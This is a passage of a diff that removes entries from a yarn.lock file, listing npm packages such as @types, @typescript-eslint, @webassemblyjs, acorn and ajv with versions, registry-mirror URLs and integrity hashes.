-    "@babel/types" "^7.3.0"
-
-"@types/eslint-visitor-keys@^1.0.0":
-  version "1.0.0"
-  resolved "https://registry.nlark.com/@types/eslint-visitor-keys/download/@types/eslint-visitor-keys-1.0.0.tgz#1ee30d79544ca84d68d4b3cdb0af4f205663dd2d"
-  integrity sha1-HuMNeVRMqE1o1LPNsK9PIFZj3S0=
-
-"@types/glob@^7.1.1":
-  version "7.1.3"
-  resolved "https://registry.nlark.com/@types/glob/download/@types/glob-7.1.3.tgz?cache=0&sync_timestamp=1621241272381&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fglob%2Fdownload%2F%40types%2Fglob-7.1.3.tgz#e6ba80f36b7daad2c685acd9266382e68985c183"
-  integrity sha1-5rqA82t9qtLGhazZJmOC5omFwYM=
-  dependencies:
-    "@types/minimatch" "*"
-    "@types/node" "*"
-
-"@types/istanbul-lib-coverage@*", "@types/istanbul-lib-coverage@^2.0.0":
-  version "2.0.3"
-  resolved "https://registry.nlark.com/@types/istanbul-lib-coverage/download/@types/istanbul-lib-coverage-2.0.3.tgz#4ba8ddb720221f432e443bd5f9117fd22cfd4762"
-  integrity sha1-S6jdtyAiH0MuRDvV+RF/0iz9R2I=
-
-"@types/istanbul-lib-report@*":
-  version "3.0.0"
-  resolved "https://registry.nlark.com/@types/istanbul-lib-report/download/@types/istanbul-lib-report-3.0.0.tgz#c14c24f18ea8190c118ee7562b7ff99a36552686"
-  integrity sha1-wUwk8Y6oGQwRjudWK3/5mjZVJoY=
-  dependencies:
-    "@types/istanbul-lib-coverage" "*"
-
-"@types/istanbul-reports@^1.1.1":
-  version "1.1.2"
-  resolved "https://registry.nlark.com/@types/istanbul-reports/download/@types/istanbul-reports-1.1.2.tgz#e875cc689e47bce549ec81f3df5e6f6f11cfaeb2"
-  integrity sha1-6HXMaJ5HvOVJ7IHz315vbxHPrrI=
-  dependencies:
-    "@types/istanbul-lib-coverage" "*"
-    "@types/istanbul-lib-report" "*"
-
-"@types/istanbul-reports@^3.0.0":
-  version "3.0.1"
-  resolved "https://registry.nlark.com/@types/istanbul-reports/download/@types/istanbul-reports-3.0.1.tgz#9153fe98bba2bd565a63add9436d6f0d7f8468ff"
-  integrity sha1-kVP+mLuivVZaY63ZQ21vDX+EaP8=
-  dependencies:
-    "@types/istanbul-lib-report" "*"
-
-"@types/json-schema@^7.0.3", "@types/json-schema@^7.0.5":
-  version "7.0.7"
-  resolved "https://registry.nlark.com/@types/json-schema/download/@types/json-schema-7.0.7.tgz#98a993516c859eb0d5c4c8f098317a9ea68db9ad"
-  integrity sha1-mKmTUWyFnrDVxMjwmDF6nqaNua0=
-
-"@types/minimatch@*":
-  version "3.0.4"
-  resolved "https://registry.nlark.com/@types/minimatch/download/@types/minimatch-3.0.4.tgz#f0ec25dbf2f0e4b18647313ac031134ca5b24b21"
-  integrity sha1-8Owl2/Lw5LGGRzE6wDETTKWySyE=
-
-"@types/node@*":
-  version "15.12.2"
-  resolved "https://registry.nlark.com/@types/node/download/@types/node-15.12.2.tgz#1f2b42c4be7156ff4a6f914b2fb03d05fa84e38d"
-  integrity sha1-HytCxL5xVv9Kb5FLL7A9BfqE440=
-
-"@types/parse-json@^4.0.0":
-  version "4.0.0"
-  resolved "https://registry.nlark.com/@types/parse-json/download/@types/parse-json-4.0.0.tgz?cache=0&sync_timestamp=1621242198435&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fparse-json%2Fdownload%2F%40types%2Fparse-json-4.0.0.tgz#2f8bb441434d163b35fb8ffdccd7138927ffb8c0"
-  integrity sha1-L4u0QUNNFjs1+4/9zNcTiSf/uMA=
-
-"@types/prop-types@*":
-  version "15.7.3"
-  resolved "https://registry.nlark.com/@types/prop-types/download/@types/prop-types-15.7.3.tgz#2ab0d5da2e5815f94b0b9d4b95d1e5f243ab2ca7"
-  integrity sha1-KrDV2i5YFflLC51LldHl8kOrLKc=
-
-"@types/q@^1.5.1":
-  version "1.5.4"
-  resolved "https://registry.nlark.com/@types/q/download/@types/q-1.5.4.tgz?cache=0&sync_timestamp=1621242400776&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fq%2Fdownload%2F%40types%2Fq-1.5.4.tgz#15925414e0ad2cd765bfef58842f7e26a7accb24"
-  integrity sha1-FZJUFOCtLNdlv+9YhC9+JqesyyQ=
-
-"@types/react-dom@*":
-  version "17.0.6"
-  resolved "https://registry.nlark.com/@types/react-dom/download/@types/react-dom-17.0.6.tgz#c158325cf91b196270bc0f4af73463f149e7eafe"
-  integrity sha1-wVgyXPkbGWJwvA9K9zRj8Unn6v4=
-  dependencies:
-    "@types/react" "*"
-
-"@types/react@*":
-  version "17.0.9"
-  resolved "https://registry.nlark.com/@types/react/download/@types/react-17.0.9.tgz?cache=0&sync_timestamp=1622599401818&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Freact%2Fdownload%2F%40types%2Freact-17.0.9.tgz#1147fb520024a62c9b3841f5cb4db89b73ddb87f"
-  integrity sha1-EUf7UgAkpiybOEH1y024m3PduH8=
-  dependencies:
-    "@types/prop-types" "*"
-    "@types/scheduler" "*"
-    csstype "^3.0.2"
-
-"@types/scheduler@*":
-  version "0.16.1"
-  resolved "https://registry.nlark.com/@types/scheduler/download/@types/scheduler-0.16.1.tgz?cache=0&sync_timestamp=1621242658440&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fscheduler%2Fdownload%2F%40types%2Fscheduler-0.16.1.tgz#18845205e86ff0038517aab7a18a62a6b9f71275"
-  integrity sha1-GIRSBehv8AOFF6q3oYpiprn3EnU=
-
-"@types/stack-utils@^1.0.1":
-  version "1.0.1"
-  resolved "https://registry.nlark.com/@types/stack-utils/download/@types/stack-utils-1.0.1.tgz#0a851d3bd96498fa25c33ab7278ed3bd65f06c3e"
-  integrity sha1-CoUdO9lkmPolwzq3J47TvWXwbD4=
-
-"@types/testing-library__dom@*":
-  version "7.5.0"
-  resolved "https://registry.npm.taobao.org/@types/testing-library__dom/download/@types/testing-library__dom-7.5.0.tgz#e0a00dd766983b1d6e9d10d33e708005ce6ad13e"
-  integrity sha1-4KAN12aYOx1unRDTPnCABc5q0T4=
-  dependencies:
-    "@testing-library/dom" "*"
-
-"@types/testing-library__dom@^6.12.1":
-  version "6.14.0"
-  resolved "https://registry.npm.taobao.org/@types/testing-library__dom/download/@types/testing-library__dom-6.14.0.tgz#1aede831cb4ed4a398448df5a2c54b54a365644e"
-  integrity sha1-Gu3oMctO1KOYRI31osVLVKNlZE4=
-  dependencies:
-    pretty-format "^24.3.0"
-
-"@types/testing-library__react@^9.1.2":
-  version "9.1.3"
-  resolved "https://registry.npm.taobao.org/@types/testing-library__react/download/@types/testing-library__react-9.1.3.tgz#35eca61cc6ea923543796f16034882a1603d7302"
-  integrity sha1-NeymHMbqkjVDeW8WA0iCoWA9cwI=
-  dependencies:
-    "@types/react-dom" "*"
-    "@types/testing-library__dom" "*"
-    pretty-format "^25.1.0"
-
-"@types/yargs-parser@*":
-  version "20.2.0"
-  resolved "https://registry.nlark.com/@types/yargs-parser/download/@types/yargs-parser-20.2.0.tgz#dd3e6699ba3237f0348cd085e4698780204842f9"
-  integrity sha1-3T5mmboyN/A0jNCF5GmHgCBIQvk=
-
-"@types/yargs@^13.0.0":
-  version "13.0.11"
-  resolved "https://registry.nlark.com/@types/yargs/download/@types/yargs-13.0.11.tgz?cache=0&sync_timestamp=1621593435560&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fyargs%2Fdownload%2F%40types%2Fyargs-13.0.11.tgz#def2f0c93e4bdf2c61d7e34899b17e34be28d3b1"
-  integrity sha1-3vLwyT5L3yxh1+NImbF+NL4o07E=
-  dependencies:
-    "@types/yargs-parser" "*"
-
-"@types/yargs@^15.0.0":
-  version "15.0.13"
-  resolved "https://registry.nlark.com/@types/yargs/download/@types/yargs-15.0.13.tgz?cache=0&sync_timestamp=1621593435560&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fyargs%2Fdownload%2F%40types%2Fyargs-15.0.13.tgz#34f7fec8b389d7f3c1fd08026a5763e072d3c6dc"
-  integrity sha1-NPf+yLOJ1/PB/QgCaldj4HLTxtw=
-  dependencies:
-    "@types/yargs-parser" "*"
-
-"@typescript-eslint/eslint-plugin@^2.10.0":
-  version "2.34.0"
-  resolved "https://registry.nlark.com/@typescript-eslint/eslint-plugin/download/@typescript-eslint/eslint-plugin-2.34.0.tgz#6f8ce8a46c7dea4a6f1d171d2bb8fbae6dac2be9"
-  integrity sha1-b4zopGx96kpvHRcdK7j7rm2sK+k=
-  dependencies:
-    "@typescript-eslint/experimental-utils" "2.34.0"
-    functional-red-black-tree "^1.0.1"
-    regexpp "^3.0.0"
-    tsutils "^3.17.1"
-
-"@typescript-eslint/experimental-utils@2.34.0":
-  version "2.34.0"
-  resolved "https://registry.nlark.com/@typescript-eslint/experimental-utils/download/@typescript-eslint/experimental-utils-2.34.0.tgz#d3524b644cdb40eebceca67f8cf3e4cc9c8f980f"
-  integrity sha1-01JLZEzbQO687KZ/jPPkzJyPmA8=
-  dependencies:
-    "@types/json-schema" "^7.0.3"
-    "@typescript-eslint/typescript-estree" "2.34.0"
-    eslint-scope "^5.0.0"
-    eslint-utils "^2.0.0"
-
-"@typescript-eslint/parser@^2.10.0":
-  version "2.34.0"
-  resolved "https://registry.nlark.com/@typescript-eslint/parser/download/@typescript-eslint/parser-2.34.0.tgz#50252630ca319685420e9a39ca05fe185a256bc8"
-  integrity sha1-UCUmMMoxloVCDpo5ygX+GFola8g=
-  dependencies:
-    "@types/eslint-visitor-keys" "^1.0.0"
-    "@typescript-eslint/experimental-utils" "2.34.0"
-    "@typescript-eslint/typescript-estree" "2.34.0"
-    eslint-visitor-keys "^1.1.0"
-
-"@typescript-eslint/typescript-estree@2.34.0":
-  version "2.34.0"
-  resolved "https://registry.nlark.com/@typescript-eslint/typescript-estree/download/@typescript-eslint/typescript-estree-2.34.0.tgz#14aeb6353b39ef0732cc7f1b8285294937cf37d5"
-  integrity sha1-FK62NTs57wcyzH8bgoUpSTfPN9U=
-  dependencies:
-    debug "^4.1.1"
-    eslint-visitor-keys "^1.1.0"
-    glob "^7.1.6"
-    is-glob "^4.0.1"
-    lodash "^4.17.15"
-    semver "^7.3.2"
-    tsutils "^3.17.1"
-
-"@webassemblyjs/ast@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.npm.taobao.org/@webassemblyjs/ast/download/@webassemblyjs/ast-1.8.5.tgz?cache=0&sync_timestamp=1610041484025&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fast%2Fdownload%2F%40webassemblyjs%2Fast-1.8.5.tgz#51b1c5fe6576a34953bf4b253df9f0d490d9e359"
-  integrity sha1-UbHF/mV2o0lTv0slPfnw1JDZ41k=
-  dependencies:
-    "@webassemblyjs/helper-module-context" "1.8.5"
-    "@webassemblyjs/helper-wasm-bytecode" "1.8.5"
-    "@webassemblyjs/wast-parser" "1.8.5"
-
-"@webassemblyjs/floating-point-hex-parser@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.npm.taobao.org/@webassemblyjs/floating-point-hex-parser/download/@webassemblyjs/floating-point-hex-parser-1.8.5.tgz?cache=0&sync_timestamp=1610041494828&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Ffloating-point-hex-parser%2Fdownload%2F%40webassemblyjs%2Ffloating-point-hex-parser-1.8.5.tgz#1ba926a2923613edce496fd5b02e8ce8a5f49721"
-  integrity sha1-G6kmopI2E+3OSW/VsC6M6KX0lyE=
-
-"@webassemblyjs/helper-api-error@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.nlark.com/@webassemblyjs/helper-api-error/download/@webassemblyjs/helper-api-error-1.8.5.tgz#c49dad22f645227c5edb610bdb9697f1aab721f7"
-  integrity sha1-xJ2tIvZFInxe22EL25aX8aq3Ifc=
-
-"@webassemblyjs/helper-buffer@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.npm.taobao.org/@webassemblyjs/helper-buffer/download/@webassemblyjs/helper-buffer-1.8.5.tgz#fea93e429863dd5e4338555f42292385a653f204"
-  integrity sha1-/qk+Qphj3V5DOFVfQikjhaZT8gQ=
-
-"@webassemblyjs/helper-code-frame@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.npm.taobao.org/@webassemblyjs/helper-code-frame/download/@webassemblyjs/helper-code-frame-1.8.5.tgz?cache=0&sync_timestamp=1610041493871&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fhelper-code-frame%2Fdownload%2F%40webassemblyjs%2Fhelper-code-frame-1.8.5.tgz#9a740ff48e3faa3022b1dff54423df9aa293c25e"
-  integrity sha1-mnQP9I4/qjAisd/1RCPfmqKTwl4=
-  dependencies:
-    "@webassemblyjs/wast-printer" "1.8.5"
-
-"@webassemblyjs/helper-fsm@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.nlark.com/@webassemblyjs/helper-fsm/download/@webassemblyjs/helper-fsm-1.8.5.tgz#ba0b7d3b3f7e4733da6059c9332275d860702452"
-  integrity sha1-ugt9Oz9+RzPaYFnJMyJ12GBwJFI=
-
-"@webassemblyjs/helper-module-context@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.npm.taobao.org/@webassemblyjs/helper-module-context/download/@webassemblyjs/helper-module-context-1.8.5.tgz#def4b9927b0101dc8cbbd8d1edb5b7b9c82eb245"
-  integrity sha1-3vS5knsBAdyMu9jR7bW3ucguskU=
-  dependencies:
-    "@webassemblyjs/ast" "1.8.5"
-    mamacro "^0.0.3"
-
-"@webassemblyjs/helper-wasm-bytecode@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.npm.taobao.org/@webassemblyjs/helper-wasm-bytecode/download/@webassemblyjs/helper-wasm-bytecode-1.8.5.tgz#537a750eddf5c1e932f3744206551c91c1b93e61"
-  integrity sha1-U3p1Dt31weky83RCBlUckcG5PmE=
-
-"@webassemblyjs/helper-wasm-section@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.nlark.com/@webassemblyjs/helper-wasm-section/download/@webassemblyjs/helper-wasm-section-1.8.5.tgz#74ca6a6bcbe19e50a3b6b462847e69503e6bfcbf"
-  integrity sha1-dMpqa8vhnlCjtrRihH5pUD5r/L8=
-  dependencies:
-    "@webassemblyjs/ast" "1.8.5"
-    "@webassemblyjs/helper-buffer" "1.8.5"
-    "@webassemblyjs/helper-wasm-bytecode" "1.8.5"
-    "@webassemblyjs/wasm-gen" "1.8.5"
-
-"@webassemblyjs/ieee754@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.nlark.com/@webassemblyjs/ieee754/download/@webassemblyjs/ieee754-1.8.5.tgz#712329dbef240f36bf57bd2f7b8fb9bf4154421e"
-  integrity sha1-cSMp2+8kDza/V70ve4+5v0FUQh4=
-  dependencies:
-    "@xtuc/ieee754" "^1.2.0"
-
-"@webassemblyjs/leb128@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.nlark.com/@webassemblyjs/leb128/download/@webassemblyjs/leb128-1.8.5.tgz#044edeb34ea679f3e04cd4fd9824d5e35767ae10"
-  integrity sha1-BE7es06mefPgTNT9mCTV41dnrhA=
-  dependencies:
-    "@xtuc/long" "4.2.2"
-
-"@webassemblyjs/utf8@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.npm.taobao.org/@webassemblyjs/utf8/download/@webassemblyjs/utf8-1.8.5.tgz#a8bf3b5d8ffe986c7c1e373ccbdc2a0915f0cedc"
-  integrity sha1-qL87XY/+mGx8Hjc8y9wqCRXwztw=
-
-"@webassemblyjs/wasm-edit@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.nlark.com/@webassemblyjs/wasm-edit/download/@webassemblyjs/wasm-edit-1.8.5.tgz#962da12aa5acc1c131c81c4232991c82ce56e01a"
-  integrity sha1-li2hKqWswcExyBxCMpkcgs5W4Bo=
-  dependencies:
-    "@webassemblyjs/ast" "1.8.5"
-    "@webassemblyjs/helper-buffer" "1.8.5"
-    "@webassemblyjs/helper-wasm-bytecode" "1.8.5"
-    "@webassemblyjs/helper-wasm-section" "1.8.5"
-    "@webassemblyjs/wasm-gen" "1.8.5"
-    "@webassemblyjs/wasm-opt" "1.8.5"
-    "@webassemblyjs/wasm-parser" "1.8.5"
-    "@webassemblyjs/wast-printer" "1.8.5"
-
-"@webassemblyjs/wasm-gen@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.npm.taobao.org/@webassemblyjs/wasm-gen/download/@webassemblyjs/wasm-gen-1.8.5.tgz#54840766c2c1002eb64ed1abe720aded714f98bc"
-  integrity sha1-VIQHZsLBAC62TtGr5yCt7XFPmLw=
-  dependencies:
-    "@webassemblyjs/ast" "1.8.5"
-    "@webassemblyjs/helper-wasm-bytecode" "1.8.5"
-    "@webassemblyjs/ieee754" "1.8.5"
-    "@webassemblyjs/leb128" "1.8.5"
-    "@webassemblyjs/utf8" "1.8.5"
-
-"@webassemblyjs/wasm-opt@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.npm.taobao.org/@webassemblyjs/wasm-opt/download/@webassemblyjs/wasm-opt-1.8.5.tgz?cache=0&sync_timestamp=1610041488856&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fwasm-opt%2Fdownload%2F%40webassemblyjs%2Fwasm-opt-1.8.5.tgz#b24d9f6ba50394af1349f510afa8ffcb8a63d264"
-  integrity sha1-sk2fa6UDlK8TSfUQr6j/y4pj0mQ=
-  dependencies:
-    "@webassemblyjs/ast" "1.8.5"
-    "@webassemblyjs/helper-buffer" "1.8.5"
-    "@webassemblyjs/wasm-gen" "1.8.5"
-    "@webassemblyjs/wasm-parser" "1.8.5"
-
-"@webassemblyjs/wasm-parser@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.npm.taobao.org/@webassemblyjs/wasm-parser/download/@webassemblyjs/wasm-parser-1.8.5.tgz?cache=0&sync_timestamp=1610041484395&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fwasm-parser%2Fdownload%2F%40webassemblyjs%2Fwasm-parser-1.8.5.tgz#21576f0ec88b91427357b8536383668ef7c66b8d"
-  integrity sha1-IVdvDsiLkUJzV7hTY4NmjvfGa40=
-  dependencies:
-    "@webassemblyjs/ast" "1.8.5"
-    "@webassemblyjs/helper-api-error" "1.8.5"
-    "@webassemblyjs/helper-wasm-bytecode" "1.8.5"
-    "@webassemblyjs/ieee754" "1.8.5"
-    "@webassemblyjs/leb128" "1.8.5"
-    "@webassemblyjs/utf8" "1.8.5"
-
-"@webassemblyjs/wast-parser@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.npm.taobao.org/@webassemblyjs/wast-parser/download/@webassemblyjs/wast-parser-1.8.5.tgz?cache=0&sync_timestamp=1610041489596&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fwast-parser%2Fdownload%2F%40webassemblyjs%2Fwast-parser-1.8.5.tgz#e10eecd542d0e7bd394f6827c49f3df6d4eefb8c"
-  integrity sha1-4Q7s1ULQ5705T2gnxJ899tTu+4w=
-  dependencies:
-    "@webassemblyjs/ast" "1.8.5"
-    "@webassemblyjs/floating-point-hex-parser" "1.8.5"
-    "@webassemblyjs/helper-api-error" "1.8.5"
-    "@webassemblyjs/helper-code-frame" "1.8.5"
-    "@webassemblyjs/helper-fsm" "1.8.5"
-    "@xtuc/long" "4.2.2"
-
-"@webassemblyjs/wast-printer@1.8.5":
-  version "1.8.5"
-  resolved "https://registry.npm.taobao.org/@webassemblyjs/wast-printer/download/@webassemblyjs/wast-printer-1.8.5.tgz?cache=0&sync_timestamp=1610041488066&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fwast-printer%2Fdownload%2F%40webassemblyjs%2Fwast-printer-1.8.5.tgz#114bbc481fd10ca0e23b3560fa812748b0bae5bc"
-  integrity sha1-EUu8SB/RDKDiOzVg+oEnSLC65bw=
-  dependencies:
-    "@webassemblyjs/ast" "1.8.5"
-    "@webassemblyjs/wast-parser" "1.8.5"
-    "@xtuc/long" "4.2.2"
-
-"@xtuc/ieee754@^1.2.0":
-  version "1.2.0"
-  resolved "https://registry.nlark.com/@xtuc/ieee754/download/@xtuc/ieee754-1.2.0.tgz#eef014a3145ae477a1cbc00cd1e552336dceb790"
-  integrity sha1-7vAUoxRa5Hehy8AM0eVSM23Ot5A=
-
-"@xtuc/long@4.2.2":
-  version "4.2.2"
-  resolved "https://registry.nlark.com/@xtuc/long/download/@xtuc/long-4.2.2.tgz#d291c6a4e97989b5c61d9acf396ae4fe133a718d"
-  integrity sha1-0pHGpOl5ibXGHZrPOWrk/hM6cY0=
-
-abab@^2.0.0:
-  version "2.0.5"
-  resolved "https://registry.npm.taobao.org/abab/download/abab-2.0.5.tgz#c0b678fb32d60fc1219c784d6a826fe385aeb79a"
-  integrity sha1-wLZ4+zLWD8EhnHhNaoJv44Wut5o=
-
-accepts@~1.3.4, accepts@~1.3.5, accepts@~1.3.7:
-  version "1.3.7"
-  resolved "https://registry.npm.taobao.org/accepts/download/accepts-1.3.7.tgz#531bc726517a3b2b41f850021c6cc15eaab507cd"
-  integrity sha1-UxvHJlF6OytB+FACHGzBXqq1B80=
-  dependencies:
-    mime-types "~2.1.24"
-    negotiator "0.6.2"
-
-acorn-globals@^4.1.0, acorn-globals@^4.3.0:
-  version "4.3.4"
-  resolved "https://registry.nlark.com/acorn-globals/download/acorn-globals-4.3.4.tgz#9fa1926addc11c97308c4e66d7add0d40c3272e7"
-  integrity sha1-n6GSat3BHJcwjE5m163Q1Awycuc=
-  dependencies:
-    acorn "^6.0.1"
-    acorn-walk "^6.0.1"
-
-acorn-jsx@^5.2.0:
-  version "5.3.1"
-  resolved "https://registry.npm.taobao.org/acorn-jsx/download/acorn-jsx-5.3.1.tgz?cache=0&sync_timestamp=1599499155970&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Facorn-jsx%2Fdownload%2Facorn-jsx-5.3.1.tgz#fc8661e11b7ac1539c47dbfea2e72b3af34d267b"
-  integrity sha1-/IZh4Rt6wVOcR9v+oucrOvNNJns=
-
-acorn-walk@^6.0.1:
-  version "6.2.0"
-  resolved "https://registry.nlark.com/acorn-walk/download/acorn-walk-6.2.0.tgz#123cb8f3b84c2171f1f7fb252615b1c78a6b1a8c"
-  integrity sha1-Ejy487hMIXHx9/slJhWxx4prGow=
-
-acorn@^5.5.3:
-  version "5.7.4"
-  resolved "https://registry.nlark.com/acorn/download/acorn-5.7.4.tgz?cache=0&sync_timestamp=1622440249922&other_urls=https%3A%2F%2Fregistry.nlark.com%2Facorn%2Fdownload%2Facorn-5.7.4.tgz#3e8d8a9947d0599a1796d10225d7432f4a4acf5e"
-  integrity sha1-Po2KmUfQWZoXltECJddDL0pKz14=
-
-acorn@^6.0.1, acorn@^6.0.4, acorn@^6.2.1:
-  version "6.4.2"
-  resolved "https://registry.nlark.com/acorn/download/acorn-6.4.2.tgz?cache=0&sync_timestamp=1622440249922&other_urls=https%3A%2F%2Fregistry.nlark.com%2Facorn%2Fdownload%2Facorn-6.4.2.tgz#35866fd710528e92de10cf06016498e47e39e1e6"
-  integrity sha1-NYZv1xBSjpLeEM8GAWSY5H454eY=
-
-acorn@^7.1.1:
-  version "7.4.1"
-  resolved "https://registry.nlark.com/acorn/download/acorn-7.4.1.tgz?cache=0&sync_timestamp=1622440249922&other_urls=https%3A%2F%2Fregistry.nlark.com%2Facorn%2Fdownload%2Facorn-7.4.1.tgz#feaed255973d2e77555b83dbc08851a6c63520fa"
-  integrity sha1-/q7SVZc9LndVW4PbwIhRpsY1IPo=
-
-address@1.1.2, address@^1.0.1:
-  version "1.1.2"
-  resolved "https://registry.npm.taobao.org/address/download/address-1.1.2.tgz#bf1116c9c758c51b7a933d296b72c221ed9428b6"
-  integrity sha1-vxEWycdYxRt6kz0pa3LCIe2UKLY=
-
-adjust-sourcemap-loader@2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/adjust-sourcemap-loader/download/adjust-sourcemap-loader-2.0.0.tgz?cache=0&sync_timestamp=1603701108010&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fadjust-sourcemap-loader%2Fdownload%2Fadjust-sourcemap-loader-2.0.0.tgz#6471143af75ec02334b219f54bc7970c52fb29a4"
-  integrity sha1-ZHEUOvdewCM0shn1S8eXDFL7KaQ=
-  dependencies:
-    assert "1.4.1"
-    camelcase "5.0.0"
-    loader-utils "1.2.3"
-    object-path "0.11.4"
-    regex-parser "2.2.10"
-
-aggregate-error@^3.0.0:
-  version "3.1.0"
-  resolved "https://registry.npm.taobao.org/aggregate-error/download/aggregate-error-3.1.0.tgz#92670ff50f5359bdb7a3e0d40d0ec30c5737687a"
-  integrity sha1-kmcP9Q9TWb23o+DUDQ7DDFc3aHo=
-  dependencies:
-    clean-stack "^2.0.0"
-    indent-string "^4.0.0"
-
-ajv-errors@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.nlark.com/ajv-errors/download/ajv-errors-1.0.1.tgz#f35986aceb91afadec4102fbd85014950cefa64d"
-  integrity sha1-81mGrOuRr63sQQL72FAUlQzvpk0=
-
-ajv-keywords@^3.1.0, ajv-keywords@^3.4.1, ajv-keywords@^3.5.2:
-  version "3.5.2"
-  resolved "https://registry.nlark.com/ajv-keywords/download/ajv-keywords-3.5.2.tgz#31f29da5ab6e00d1c2d329acf7b5929614d5014d"
-  integrity sha1-MfKdpatuANHC0yms97WSlhTVAU0=
-
-ajv@^6.1.0, ajv@^6.10.0, ajv@^6.10.2, ajv@^6.12.3, ajv@^6.12.4:
-  version "6.12.6"
-  resolved "https://registry.nlark.com/ajv/download/ajv-6.12.6.tgz#baf5a62e802b07d977034586f8c3baf5adf26df4"
-  integrity sha1-uvWmLoArB9l3A0WG+MO69a3ybfQ=
-  dependencies:
-    fast-deep-equal "^3.1.1"
-    fast-json-stable-stringify "^2.0.0"
-    json-schema-traverse "^0.4.1"
-    uri-js "^4.2.2"
-
-alphanum-sort@^1.0.0:
-  version "1.0.2"
-  resolved "https://registry.nlark.com/alphanum-sort/download/alphanum-sort-1.0.2.tgz#97a1119649b211ad33691d9f9f486a8ec9fbe0a3"
-  integrity sha1-l6ERlkmyEa0zaR2fn0hqjsn74KM=
-
-ansi-colors@^3.0.0:
-  version "3.2.4"
-  resolved "https://registry.npm.taobao.org/ansi-colors/download/ansi-colors-3.2.4.tgz#e3a3da4bfbae6c86a9c285625de124a234026fbf"
-  integrity sha1-46PaS/uubIapwoViXeEkojQCb78=
-
-ansi-escapes@^3.0.0:
-  version "3.2.0"
-  resolved "https://registry.nlark.com/ansi-escapes/download/ansi-escapes-3.2.0.tgz?cache=0&sync_timestamp=1618847144938&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fansi-escapes%2Fdownload%2Fansi-escapes-3.2.0.tgz#8780b98ff9dbf5638152d1f1fe5c1d7b4442976b"
-  integrity sha1-h4C5j/nb9WOBUtHx/lwde0RCl2s=
-
-ansi-escapes@^4.2.1:
-  version "4.3.2"
-  resolved "https://registry.nlark.com/ansi-escapes/download/ansi-escapes-4.3.2.tgz?cache=0&sync_timestamp=1618847144938&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fansi-escapes%2Fdownload%2Fansi-escapes-4.3.2.tgz#6b2291d1db7d98b6521d5f1efa42d0f3a9feb65e"
-  integrity sha1-ayKR0dt9mLZSHV8e+kLQ86n+tl4=
-  dependencies:
-    type-fest "^0.21.3"
-
-ansi-html@0.0.7:
-  version "0.0.7"
-  resolved "https://registry.nlark.com/ansi-html/download/ansi-html-0.0.7.tgz#813584021962a9e9e6fd039f940d12f56ca7859e"
-  integrity sha1-gTWEAhliqenm/QOflA0S9WynhZ4=
-
-ansi-regex@^2.0.0:
-  version "2.1.1"
-  resolved "https://registry.nlark.com/ansi-regex/download/ansi-regex-2.1.1.tgz#c3b33ab5ee360d86e0e628f0468ae7ef27d654df"
-  integrity sha1-w7M6te42DYbg5ijwRorn7yfWVN8=
-
-ansi-regex@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.nlark.com/ansi-regex/download/ansi-regex-3.0.0.tgz#ed0317c322064f79466c02966bddb605ab37d998"
-  integrity sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=
-
-ansi-regex@^4.0.0, ansi-regex@^4.1.0:
-  version "4.1.0"
-  resolved "https://registry.nlark.com/ansi-regex/download/ansi-regex-4.1.0.tgz#8b9f8f08cf1acb843756a839ca8c7e3168c51997"
-  integrity sha1-i5+PCM8ay4Q3Vqg5yox+MWjFGZc=
-
-ansi-regex@^5.0.0:
-  version "5.0.0"
-  resolved "https://registry.nlark.com/ansi-regex/download/ansi-regex-5.0.0.tgz#388539f55179bf39339c81af30a654d69f87cb75"
-  integrity sha1-OIU59VF5vzkznIGvMKZU1p+Hy3U=
-
-ansi-styles@^2.2.1:
-  version "2.2.1"
-  resolved "https://registry.nlark.com/ansi-styles/download/ansi-styles-2.2.1.tgz#b432dd3358b634cf75e1e4664368240533c1ddbe"
-  integrity sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=
-
-ansi-styles@^3.2.0, ansi-styles@^3.2.1:
-  version "3.2.1"
-  resolved "https://registry.nlark.com/ansi-styles/download/ansi-styles-3.2.1.tgz#41fbb20243e50b12be0f04b8dedbf07520ce841d"
-  integrity sha1-QfuyAkPlCxK+DwS43tvwdSDOhB0=
-  dependencies:
-    color-convert "^1.9.0"
-
-ansi-styles@^4.0.0, ansi-styles@^4.1.0:
-  version "4.3.0"
